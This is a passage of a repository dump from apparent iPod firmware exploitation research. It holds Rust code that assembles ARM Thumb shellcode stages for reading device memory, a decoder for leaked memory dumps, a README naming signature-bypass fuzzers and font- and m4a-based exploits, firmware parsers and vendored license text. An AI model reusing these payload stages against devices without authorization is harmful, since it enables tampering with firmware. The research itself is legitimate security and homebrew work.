write a seventh byte 136 | ldrb r7, [r6] @ read byte from tgt 137 | 138 | @ Write data byte 139 | adds r2, #1 140 | strb r7, [r2] 141 | 142 | @ Inc tgt addr 143 | adds r6, #1 144 | str r6, [r5] 145 | 146 | @ Check for null 147 | subs r7, #0 148 | beq exit 149 | 150 | @ Not null, write a eighth byte 151 | ldrb r7, [r6] @ read byte from tgt 152 | 153 | @ Write data byte 154 | adds r2, #1 155 | strb r7, [r2] 156 | 157 | @ Inc tgt addr 158 | adds r6, #1 159 | str r6, [r5] 160 | 161 | @ Check for null 162 | subs r7, #0 163 | beq exit 164 | 165 | @ Not null, write a ninth byte 166 | ldrb r7, [r6] @ read byte from tgt 167 | 168 | @ Write data byte 169 | adds r2, #1 170 | strb r7, [r2] 171 | 172 | @ Inc tgt addr 173 | adds r6, #1 174 | str r6, [r5] 175 | 176 | @ Check for null 177 | subs r7, #0 178 | beq exit 179 | 180 | @ Not null, write a tenth byte 181 | ldrb r7, [r6] @ read byte from tgt 182 | 183 | @ Write data byte 184 | adds r2, #1 185 | strb r7, [r2] 186 | 187 | @ Inc tgt addr 188 | adds r6, #1 189 | str r6, [r5] 190 | 191 | @ Check for null 192 | subs r7, #0 193 | beq exit 194 | 195 | @ Not null, write a eleventh byte 196 | ldrb r7, [r6] @ read byte from tgt 197 | 198 | @ Write data byte 199 | adds r2, #1 200 | strb r7, [r2] 201 | 202 | @ Inc tgt addr 203 | adds r6, #1 204 | str r6, [r5] 205 | 206 | exit: 207 | pop {r2-r7, pc} 208 | 209 | .align 4 210 | tgt_addr: 211 | .word 0x0800cd60 212 | counter: 213 | .word 0x0 214 | data_byte_addr: 215 | .word 0x08001321 216 | "#; 217 | 218 | let result = engine 219 | .asm(CODE.to_string(), 0) 220 | .expect("Could not assemble"); 221 | 222 | println!("Stage 2 size = {}", result.bytes.len()); 223 | 224 | 225 | tmp.extend_from_slice(&result.bytes); 226 | 227 | for (i, x) in result.bytes.chunks(4).enumerate() { 228 | println!("{:08x} {:02x?}", 0x0800_0000 + i * 4, x); 229 | } 230 | 231 | 232 | { 233 | let cs = Capstone::new() 234 | .arm() 235 | .mode(arch::arm::ArchMode::Thumb) 236 | .detail(true) 237 | .build() 238 | .expect("Failed to create Capstone object"); 239 | 240 | let insns = cs.disasm_all(&tmp, 0x0800_0000) 241 | .expect("Failed to disassemble"); 242 | 243 | for i in insns.as_ref() { 244 | println!("{}", i); 245 | } 246 | } 247 | 248 | for (idx, t) in tmp.chunks(4).enumerate() { 249 | let mut tmp = [0u8, 0, 0, 0]; 250 | tmp[..t.len()].copy_from_slice(t); 251 | 252 | b.index_write_array(idx as u16, tmp); 253 | } 254 | } 255 | 256 | 257 | // Stage 1 258 | { 259 | let mut tmp = Vec::new(); 260 | 261 | use keystone_engine::Keystone; 262 | let engine = 263 | Keystone::new(Arch::ARM, Mode::THUMB).expect("Could not initialize Keystone engine"); 264 | 265 | const CODE: &'static str = r#" 266 | push {r1, lr} 267 | ldr r1, =0x08000001 268 | blx r1 269 | pop {r1, pc} 270 | "#; 271 | 272 | let result = engine 273 | .asm(CODE.to_string(), 0) 274 | .expect("Could not assemble"); 275 | 276 | 277 | tmp.extend_from_slice(&result.bytes); 278 | 279 | for (i, x) in tmp.chunks(4).enumerate() { 280 | println!("{:08x} {:02x?}", 0x0800_0000 + i, x); 281 | } 282 | 283 | println!("----"); 284 | 285 | for (i, x) in result.bytes.chunks(4).enumerate() { 286 | println!("{:08x} {:02x?}", 0x0800_0000 + 0x400 + i * 4, x); 287 | } 288 | 289 | { 290 | let cs = Capstone::new() 291 | .arm() 292 | .mode(arch::arm::ArchMode::Thumb) 293 | .detail(true) 294 | .build() 295 | .expect("Failed to create Capstone object"); 296 | 297 | let insns = cs.disasm_all(&result.bytes, 0x1000) 298 | .expect("Failed to disassemble"); 299 | 300 | for i in insns.as_ref() { 301 | println!("{}", i); 302 | } 303 | } 304 | 305 | for (idx, t) in tmp.chunks(4).enumerate() { 306 | let mut tmp = [0u8, 0, 0, 0]; 307 | tmp[..t.len()].copy_from_slice(t); 308 | 309 | b.index_write_array(idx as u16 + 0xc4 / 4, tmp); 310 | } 311 | } 312 | } 313 | } -------------------------------------------------------------------------------- /tools/display_leaker/.gitignore: -------------------------------------------------------------------------------- 1 | target 2 | -------------------------------------------------------------------------------- /tools/display_leaker/Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "display_leaker" 7 | version = "0.1.0" 8 | -------------------------------------------------------------------------------- /tools/display_leaker/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "display_leaker" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | -------------------------------------------------------------------------------- /tools/display_leaker/src/main.rs: -------------------------------------------------------------------------------- 1 | #[allow(unused_variables)] 2 | fn main() { 3 | let str = "SAAS AAFS AAFS AFDS SSDS AADA DFDS\ 4 | FFDS SDDS FAFS SSDS AADA FFDS FADS 5 | "; 6 | 7 | let str = " 8 | 9 | SAAS AAFS AAFS AFDS SSDS AADA SDAS 10 | DFDS FADS DFDA AAAA AAAA SFAS SADS 11 | DFDS SSFS DSDS SADS FADS ASFS SSFS 12 | 13 | "; 14 | 15 | 16 | let str = " 17 | 18 | SAAS DASS SFAS FFDA SAAS AAFS AAFS 19 | AFDS SSDS SFAS FFDS DADS SDDS AFDS 20 | 21 | "; 22 | 23 | let str = " 24 | 25 | fsds asda saaa dsda fsfd fsdf aaaa 26 | AAAA SDDS AASS FFDS ASDS AAAA AAAA 27 | AAAA AAAA SDDS AASS FFDS ASDS AADA 28 | SFDS SDDS DFDS SDDS AAAA AAAA AAAA 29 | SAAS AAFS AAFS AFDS SSDS AADA SDAS 30 | DFDS FADS DFDA AAAA AAAA SFDA SDDF 31 | 32 | "; 33 | 34 | let str = " 35 | 36 | AASD SSSD ASSA ADAA SAAS SAAS FASS 37 | 38 | "; 39 | 40 | let str = " 41 | ADAS FSFS SASD ADAA AFSS DAFF DDDD 42 | ADAA ADAD SDFA SSFS ADAA AAAA AADA 43 | DADD FAFF 44 | 45 | 46 | 47 | AAAF DSAS AAAF DSAS AAAF DSAS AAAF 48 | DSAS AAAF DSAS AAAF DSAS AAAF DSAS 49 | AAAF DSAS AAAA ASFD SAAA DDAS AASA 50 | FSAS AAAA FFFD AAAA AAAA AAAA ADAA 51 | 52 | SFDA SDDF AAFF SAAS SSAA DSAS ASAA 53 | ADDS FFAA DSAS SSSF SDDF SAAA SAAA 54 | DSAS DDSA ASSA AADF SDFA DSAS AADA 55 | DSAS AAAA AAFF FFDD FDFF ADDS SAFD 56 | 57 | SDDD ADDS ASAA SAFF ASSA AAAA ASSA 58 | SDFA FAAA AAFF DFSA SDFF SADA SDDS 59 | SAAD DAAS ASAA SASF SSAA ADAS ASAA 60 | AADS AADA DSAS SFFD ADDF AAFF SAAD 61 | 62 | DASF AAAA AADA FSFF FSDF AFAS FSFS 63 | SASD ADAA SFDA SDDF AAFF SAAS SSAA 64 | DSAS ASAA ADDS ADAD DSAS SSSF SDDF 65 | SAAA SAAA DSAS DDSA AAAA FSDA DDAA 66 | 67 | SAAA SAAA DSAS DDSA AAAA FSDA DDAA 68 | AADF SAAS DSAS AADA DSAS AAAA AAFF 69 | DDAD FDFF ADSA SAFD FSDA AADS FSDS 70 | AADS FSDD AADS FSDF AADS ADDD ADDS 71 | 72 | ASAA ASAS DSDD DAAS DAFF DASF SFFD 73 | ADDF AAFF SAAD AASA SSFD DAAA AADA 74 | DAAA AAFF SADA FAFF SFFD ADDF AASA 75 | AAAS AAAA AAFF FSFD DDFD FFAS AAFF 76 | 77 | ADFS FASS AAAA DADA SDSF ADDS SAdA 78 | AAFF FAAA SAAA AAFA SAFD DAAA ADDA 79 | SDAA AASF ASAA ADDA ASAA AASF SAAA 80 | DADA AASA DSAS AAFS FSAS SDSF AADS 81 | 82 | FDFF FSDF SAAS AAFF SAAA AAAA DAAA 83 | AADF SAAS AAFF FAAA AAAA ADSF AADS 84 | ASFF FSDF SAAA SDAS ADAA ASAS AAFS 85 | FSAS AAAA AAAA AAAA DFFF DAAA DADA 86 | "; 87 | 88 | let str = " 89 | 90 | AFAS AFDF AAAA ADAA 91 | "; 92 | 93 | let str = " 94 | 95 | SSSS FASS DAAS AADA AAAA AAAA AAAA 96 | AAAA SFAS DAAS AADA AAAA DFFA SSFD 97 | ASSA DSAS SFSF SDDF DSAA AFDA SFAF 98 | SDDF AAAA DAFA DDAA DSAS SFAF ADFF 99 | "; 100 | 101 | let str = " 102 | 103 | AFSF DDAA FASA ADAA 104 | "; 105 | 106 | let str = " 107 | 108 | SSSS FASS DAAS AADA FASS SSDS FADS 109 | FFDS DFDS ASDS SADS DAFS SDFS AADA 110 | "; 111 | 112 | let str = " 113 | ssda asds aaaa aaaa afff safs saad 114 | adaa sdaf aass dfsa adaa ssss fass 115 | daas aada sfas fass faas aaaa aafs ssfd afaa aaaa dsaa dsas fasa aasf 116 | 117 | "; 118 | 119 | let str = " 120 | sdaf aass dfsa adaa 121 | 122 | SSSS FASS DAAS AADA SFAS FASS FAAS 123 | AAAA AAFS SSFD AFAA AAAA DSAA DSAS 124 | "; 125 | 126 | 127 | 128 | let str = " 129 | 130 | 131 | daas daff dfaf afff saaa aada affs 132 | sffd adas adds dsfa daff ddfa sddf 133 | aaaa aaff ffda adff dfaa ssfd aaaa 134 | sada saaa fada daaa dddd saaa sasd 135 | "; 136 | 137 | 138 | // usbMscBody 139 | let str = " 140 | 141 | 142 | saaa dsda asaa dsas aaaa saff adsa 143 | fsaa adaa ssfd adfa dsas dsas daff 144 | aafa adff aaaa ssda asaa fddf ssad 145 | aaaa aaaa ddds fsfd fsff dafs dfff 146 | 147 | sfds afsa adff aasf sada aadf sadf 148 | ddds ffsa dada fdds dsas aada dsas 149 | aaaa aaff fsfa adff aasf sdfd aadf 150 | 151 | adds faad sada sfsa daff ddds fdff 152 | aaaa adsd ffsa adda adaa sasf aadf 153 | aads faad sada sfsa daff fads fdff 154 | 155 | sadf ddds aada dsas ffff fsff sdfa 156 | dfff aass sdfd aadf adds saaa dada 157 | daaa sada daaf daff sffd adff aadf 158 | 159 | 160 | "; 161 | 162 | // usb_stuff 163 | let str = " 164 | 165 | sfda sddf aaff faas ssaa dsas afaa 166 | dsas adaa dsas aaaa sada sfad aafd 167 | daaf saff fads sdff asss sdas adad 168 | daas afaa sasf aada dsas aaaa aaff 169 | 170 | fsad sdff aasa adda fsaa adsf aada 171 | fdfs aafa aaff aaad aaaa faaa sasf 172 | aada dsas aaaa aaff faad sdff adsa 173 | safd aaaa aada sfaa aafd sffd addf 174 | 175 | aaff faad asaa sada aada dsas daaf 176 | saff fdas sdff fsaa dsas aada fdfs 177 | adaa sada aaas faff aaaf adsa ffas 178 | dddf aasf sdsa adaa saff saaa adaa 179 | 180 | aada dsas daaf saff fffa sdff dsaa 181 | dsas aada dsas aaaa aaff ssds sdff 182 | aasa adda saaa sdsf aasa aada daaa 183 | aadf aada dsas aaaa aaff dfss sdff 184 | 185 | 186 | sfaf sddf aaaa adds faaa dsas asaa 187 | saff ffaa daaa sdda dsas daaa addd 188 | asds aaff sffd afff aada dsas aaaa 189 | aaff fsss sdff ssaa fddf aaad aaaa 190 | 191 | 192 | daaa dddd saaa ddds afaa addd asfd 193 | fsff fafa ddff adaa sada aada dsas 194 | 195 | daaf saff sfsa sdff dsaa dsas daaa 196 | addd asds aaff sddd afff dsad daas 197 | "; 198 | 199 | //handle_scsi_cmd 200 | 201 | let str = " 202 | 203 | dfff ssfd aaaa fada dfaa dsas sssa 204 | dsas ddsa dsas sdsa dsas fsss daff 205 | dasf afff asaa dsas adda adds saad 206 | adds adda dsas adad fsas saaa aasd 207 | 208 | aaaa adfs adda adda afss aasf adsa 209 | afsf fdsa adda asfs aasf afaa afsf 210 | dasa adda afda aasf asaa afsf aaaa 211 | adda ddfs aasf faaa adda fdds sasf 212 | 213 | asas aadf sssa adda ddda aasf ddsa 214 | adda dsds sasf fafa aadf afsa adda 215 | ssss aasf sfsa adda sdss aasf dfsa 216 | adda fffa aasf ssda adda sfss sasf 217 | 218 | adas aadf ssss adda dada aasf afaa 219 | afsf ssfa adda dfss aasf asaa afsf 220 | ddda adda sfds aasf ffda adda dass 221 | sasf asds aadf fdfa adda safs aasf 222 | 223 | affa adda sfas sasf asfs aadf ddss 224 | adda dfsa aasf dsaf adda dsfs aasf 225 | assf adda fsds aasf sssf adda asas 226 | sasf afsf aadf ddda dsas safa dsas 227 | 228 | "; 229 | 230 | let str = " 231 | 232 | adda adds saad adds adda dsas adad 233 | fsas daaa aasd aaas adfs sssd adda 234 | sada aasf afaa afsf sasd adda ffda 235 | aasf asaa afsf safa adda adfa aasf 236 | 237 | aasd adda sfaa sasf fada aadf dasd 238 | adda sfda aasf assd adda adaa sasf 239 | sfaa aadf dssd adda asfa aasf fssd 240 | adda adfa aasf adsd adda affa aasf 241 | 242 | "; 243 | 244 | let str = " 245 | 246 | ddda dsas safa dsas adds dsas daaa 247 | aaff dfdd ffff fdsf fsdf ddda dsas 248 | safa dsas adds dsas daaa aaff fasd 249 | afff sssf fsdf ddda dsas safa dsas 250 | 251 | "; 252 | 253 | let str = " 254 | 255 | aafs ssfd aaaa fada sfaa dsas assa 256 | dsas ddad aafd ddsa dsas sdsa dsas 257 | asss daff fdsa afff dsaa dsas aaaa 258 | aada asaa aasd faaa dada asaa sada 259 | 260 | "; 261 | 262 | 263 | let chars = [ 264 | ('A', 0b00u8), 265 | ('S', 0b01), 266 | ('D', 0b10), 267 | ('F', 0b11), 268 | ]; 269 | 270 | let mut bytes = Vec::new(); 271 | 272 | let mut tmp = 0u8; 273 | let mut idx = 0; 274 | for cc in str.chars().map(|c| c.to_ascii_uppercase()).filter(|&f| f != ' ' && f != '\n' ).rev() { 275 | let char_value = chars.iter().find(|c| c.0 == cc).unwrap().1; 276 | tmp = tmp << 2; 277 | tmp |= char_value; 278 | idx += 1; 279 | 280 | if idx == 4 { 281 | bytes.push(tmp); 282 | 283 | tmp = 0; 284 | idx = 0; 285 | } 286 | } 287 | bytes.reverse(); 288 | 289 | std::fs::write("./dump.bin", &bytes).unwrap(); 290 | 291 | println!("bytes = {bytes:x?}"); 292 | } 293 | -------------------------------------------------------------------------------- /tools/research/README.md: -------------------------------------------------------------------------------- 1 | These are some tools I built as part of my iPod research, they probably aren't useful for anyone but are here for those who are interested: 2 | 3 | wtf\_efi\_fuzzer: fuzzing for sign bypasses 4 | 5 | patch\_payload: (I think) Patches for a log writing function to dump heap state to a file, used to debug a unfinished heap exploit 6 | 7 | test\_payload\_in\_osos: Emulator for the N5G freetype code, for developing the ipod\_sun exploit 8 | 9 | osos\_patcher: actual tool for injecting patch\_payload? 10 | 11 | n6g\_dumper: Tool for dumping the ram of the n6g over usb descriptors 12 | 13 | gib\_cert: Tool for unpacking img1s 14 | 15 | diff\_tool: Tool for diffing files 16 | 17 | m4a\_patcher: Many failed attempts to exploit m4a bug 18 | 19 | m4a\_payload: More failed attempts to exploit m4a bug 20 | 21 | mp4\_fuzzer: Fuzzer for mp4 files 22 | 23 | -------------------------------------------------------------------------------- /tools/research/cert_moduluses: -------------------------------------------------------------------------------- 1 | n5g: 2 | 130509394442269365578012227121189766116152355875210381986123560046455682255429437131836346059966087519744706682102217786594766049275836044092529340211837617033612814655765108791769384466755467648165387812643132874101782760135732400288073468115758530529210765185724056570584417018892535771345907382615572559779 3 | 4 | n3g: 5 | 149611573647764461732493299993467256910713108240017522521518602546210724245978665602098613377130762021568593448883901691334418141442639027161603773162454662273493531630804285082913257274938262860600361322748903240957695850602002675921998398634895162264994884288707621297308956273985265015191544548246036613653 6 | 7 | s5l8900/wtf (https://factordb.com/index.php?id=1100000007293723806): 8 | 13810635857146025141860580498829031684687274440841513972654411372522319522894356742997600623931045326317807840133249146268743593470353776210973739136812357775126707512055621139055576389817819595007764005752568819436529897749421196722493611617981410258559682533915940275599300026208185141709683456653499021291 9 | 10 | s5l8920: 11 | 122052927188073909574399800573418082155594318986175927817732686495158897745301092485667119137281656352276717639005736814932951830471380127710529333211979916589723961357878866212150160492093520107727206938121388824537022954561097507147327712963564269330919249835664566721402762146290366830601836338119553920709 12 | 13 | apple root ca: 14 | 28854161301010691429823016881675994760824571049547137903087544231677810863621011484176802770671654913021130404953204252221482065703856749695996104445748005205881401000391707615385554318041277263650745340334193706745782684743475994089740001621299346612332074223517479877717661572594673997899462502157541358583126690048650227864402079983062057600476446075293513080318927159114125681394691020890247303472512673159777204467054334706089160260097960674908853441133031638706007772075789015948846261578064052300634540695350759287894444847820802728572040102617359961427847338006543263633608355516147569937804210650488602151213 15 | -------------------------------------------------------------------------------- /tools/research/diff_tool/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /tools/research/diff_tool/Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "diff_tool" 7 | version = "0.1.0" 8 | -------------------------------------------------------------------------------- /tools/research/diff_tool/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "diff_tool" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | -------------------------------------------------------------------------------- /tools/research/diff_tool/src/main.rs: -------------------------------------------------------------------------------- 1 | use std::error::Error; 2 | 3 | #[derive(Copy, Clone, Debug)] 4 | struct Diff { 5 | original_byte: u8, 6 | new_byte: u8, 7 | offset: usize, 8 | } 9 | 10 | fn main() -> Result<(), Box> { 11 | let orig = std::fs::read("./original")?; 12 | let patch = std::fs::read("./modified")?; 13 | 14 | let mut diffs = Vec::new(); 15 | 16 | // Check lengths match 17 | assert_eq!(orig.len(), patch.len()); 18 | 19 | // Create patch 20 | for i in 0..orig.len() { 21 | let obyte = orig[i]; 22 | let nbyte = patch[i]; 23 | if obyte != nbyte { 24 | diffs.push(Diff { 25 | original_byte: obyte, 26 | new_byte: nbyte, 27 | offset: i, 28 | }); 29 | } 30 | } 31 | 32 | println!("{:?}", diffs.len()); 33 | 34 | 35 | let mut new_file = orig.clone(); 36 | 37 | let mut t = 0; 38 | 39 | // Create a partial application of the patch, to see how much is really needed 40 | for i in 3..(diffs.len() - 3) { 41 | let diff = diffs[i]; 42 | 43 | println!("Applying {:?}", diff); 44 | 45 | let obyte = new_file[diff.offset]; 46 | // Ensure that the byte we are replacing is the same as what we expect here 47 | assert_eq!(diff.original_byte, obyte); 48 | new_file[diff.offset] = diff.new_byte; 49 | t += 1; 50 | } 51 | std::fs::write("./out/IMG_0437.DAT", &new_file)?; 52 | println!("changed = {}", t); 53 | 54 | 55 | 56 | Ok(()) 57 | } 58 | -------------------------------------------------------------------------------- /tools/research/gib_cert/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /tools/research/gib_cert/Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "gib_cert" 7 | version = "0.1.0" 8 | -------------------------------------------------------------------------------- /tools/research/gib_cert/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "gib_cert" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | -------------------------------------------------------------------------------- /tools/research/gib_cert/src/main.rs: -------------------------------------------------------------------------------- 1 | 2 | fn take(b: &[u8]) -> (&[u8], [u8;COUNT]) { 3 | (&b[COUNT..], b[..COUNT].try_into().unwrap()) 4 | } 5 | 6 | fn take_u8(b: &[u8]) -> (&[u8], u8) { 7 | (&b[1..], b[0]) 8 | } 9 | 10 | fn take_u16(b: &[u8]) -> (&[u8], u16) { 11 | (&b[2..], u16::from_le_bytes(b[..2].try_into().unwrap())) 12 | } 13 | 14 | fn take_u32(b: &[u8]) -> (&[u8], u32) { 15 | (&b[4..], u32::from_le_bytes(b[..4].try_into().unwrap())) 16 | } 17 | 18 | fn main() { 19 | let bytes = std::fs::read("../3g_firmware/Firmware-26.9.1.3").unwrap(); 20 | //let bytes = std::fs::read("../5g_firmware/wtf.fw").unwrap(); 21 | 22 | let b = &bytes; 23 | 24 | // Parse the header (84/0x54 bytes) 25 | let (b, magic) = take::<4>(b); 26 | let (b, version) = take::<3>(b); 27 | let (b, format) = take_u8(b); 28 | let (b, entrypoint) = take_u32(b); 29 | let (b, body_len) = take_u32(b); 30 | let (b, data_len) = take_u32(b); 31 | let (b, footer_cert_offset) = take_u32(b); 32 | let (b, footer_cert_len) = take_u32(b); 33 | let (b, salt) = take::<32>(b); 34 | let (b, unk1) = take_u16(b); 35 | let (b, unk2) = take_u16(b); 36 | let (b, header_sign) = take::<16>(b); 37 | let (b, header_left_over) = take::<4>(b); 38 | 39 | println!("Magic = {magic:?}"); 40 | println!("Version = {version:?}"); 41 | println!("Format = {format:?}"); 42 | println!("Entrypoint = {entrypoint:?}"); 43 | println!("Body length = {body_len:X}"); 44 | println!("Data length = {data_len:X}"); 45 | println!("Footer cert offset = {footer_cert_offset:X}"); 46 | println!("Footer cert len = {footer_cert_len}"); 47 | 48 | // Read rest of padding, offset is now 0x600 49 | //TODO: this size changes based on magic 50 | // TODO: wiki says 0x600, iphone wiki say 0x800, file looks very 0x800 51 | //TODO: wtf looks very 0x600 52 | //const PADDING_SIZE: usize = 0x800/* 0x600*/ - 0x54; 53 | //const PADDING_SIZE: usize = 0x600 - 0x54; 54 | const PADDING_SIZE: usize = 5000 - 0x54; 55 | 56 | let (b, _padding) = take::<{PADDING_SIZE}>(b); 57 | 58 | // After the padding is the body 59 | /*let body = &b[..body_len as usize]; 60 | let b = &b[body_len as usize..]; 61 | 62 | std::fs::write("body.bin", &body);*/ 63 | 64 | //TODO: this only applies to x509 `format` 65 | // Get the certificate signature 66 | let (b, _cert_sig) = take::<0x80>(b); 67 | 68 | 69 | // let c = &bytes[0x680 + body_len as usize..]; 70 | // assert_eq!(b, c); 71 | 72 | // Everything else should be the certificate bundle 73 | 74 | // Quick check, should start with a ASN.1 sequence 75 | assert_eq!(&b[..2], &[0x30, 0x82]); 76 | std::fs::write("./cert_bundle.bin", b); 77 | 78 | // assert_eq!(data_len, body_len + 0x80 + footer_cert_len); 79 | // assert_eq!(bytes.len() as u32, 0x54 + body_len + footer_cert_len + 0x80); 80 | } 81 | -------------------------------------------------------------------------------- /tools/research/m4a_patcher/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /tools/research/m4a_patcher/Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "m4a_patcher" 7 | version = "0.1.0" 8 | dependencies = [ 9 | "mp4ameta", 10 | ] 11 | 12 | [[package]] 13 | name = "mp4ameta" 14 | version = "0.11.0" 15 | dependencies = [ 16 | "mp4ameta_proc", 17 | ] 18 | 19 | [[package]] 20 | name = "mp4ameta_proc" 21 | version = "0.6.0" 22 | -------------------------------------------------------------------------------- /tools/research/m4a_patcher/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "m4a_patcher" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | mp4ameta = { path = "./vendor/mp4ameta"} 10 | -------------------------------------------------------------------------------- /tools/research/m4a_patcher/vendor/lazy_static/.cargo-checksum.json: -------------------------------------------------------------------------------- 1 | {"files":{"Cargo.toml":"05e37a4e63dc4a495998bb5133252a51d671c4e99061a6342089ed6eab43978a","LICENSE-APACHE":"a60eea817514531668d7e00765731449fe14d059d3249e0bc93b36de45f759f2","LICENSE-MIT":"0621878e61f0d0fda054bcbe02df75192c28bde1ecc8289cbd86aeba2dd72720","README.md":"e2effacb5bbd7c01523f9a9e4a6a59c0f9b8698753b210fec5742408498197df","src/core_lazy.rs":"6b9fb6a4f553058e240756125b6b9ca43a83ed1fb72964343038ea0ea2e1af10","src/inline_lazy.rs":"f6184afbca4b477616f270790edc180263be806aa92ef0a9de681b4aac9e88c4","src/lib.rs":"99096a5d3089c0d86646f0805d1455befe2cb09683704af29c5c9d99ecab2683","tests/no_std.rs":"d68b149ee51ef5ae2b2906c0c94f5a9812d3b02811b13365c5a35e2ef90d25cf","tests/test.rs":"b3f7d805375dc5af7a2aa4b869944ad2ab4fc982b35ad718ea58f6914dc0a698"},"package":"e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646"} -------------------------------------------------------------------------------- /tools/research/m4a_patcher/vendor/lazy_static/Cargo.toml: -------------------------------------------------------------------------------- 1 | # THIS FILE IS AUTOMATICALLY GENERATED BY CARGO 2 | # 3 | # When uploading crates to the registry Cargo will automatically 4 | # "normalize" Cargo.toml files for maximal compatibility 5 | # with all versions of Cargo and also rewrite `path` dependencies 6 | # to registry (e.g., crates.io) dependencies 7 | # 8 | # If you believe there's an error in this file please file an 9 | # issue against the rust-lang/cargo repository. If you're 10 | # editing this file be aware that the upstream Cargo.toml 11 | # will likely look very different (and much more reasonable) 12 | 13 | [package] 14 | name = "lazy_static" 15 | version = "1.4.0" 16 | authors = ["Marvin Löbel "] 17 | exclude = ["/.travis.yml", "/appveyor.yml"] 18 | description = "A macro for declaring lazily evaluated statics in Rust." 19 | documentation = "https://docs.rs/lazy_static" 20 | readme = "README.md" 21 | keywords = ["macro", "lazy", "static"] 22 | categories = ["no-std", "rust-patterns", "memory-management"] 23 | license = "MIT/Apache-2.0" 24 | repository = "https://github.com/rust-lang-nursery/lazy-static.rs" 25 | [dependencies.spin] 26 | version = "0.5.0" 27 | optional = true 28 | [dev-dependencies.doc-comment] 29 | version = "0.3.1" 30 | 31 | [features] 32 | spin_no_std = ["spin"] 33 | [badges.appveyor] 34 | repository = "rust-lang-nursery/lazy-static.rs" 35 | 36 | [badges.is-it-maintained-issue-resolution] 37 | repository = "rust-lang-nursery/lazy-static.rs" 38 | 39 | [badges.is-it-maintained-open-issues] 40 | repository = "rust-lang-nursery/lazy-static.rs" 41 | 42 | [badges.maintenance] 43 | status = "passively-maintained" 44 | 45 | [badges.travis-ci] 46 | repository = "rust-lang-nursery/lazy-static.rs" 47 | -------------------------------------------------------------------------------- /tools/research/m4a_patcher/vendor/lazy_static/LICENSE-APACHE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, 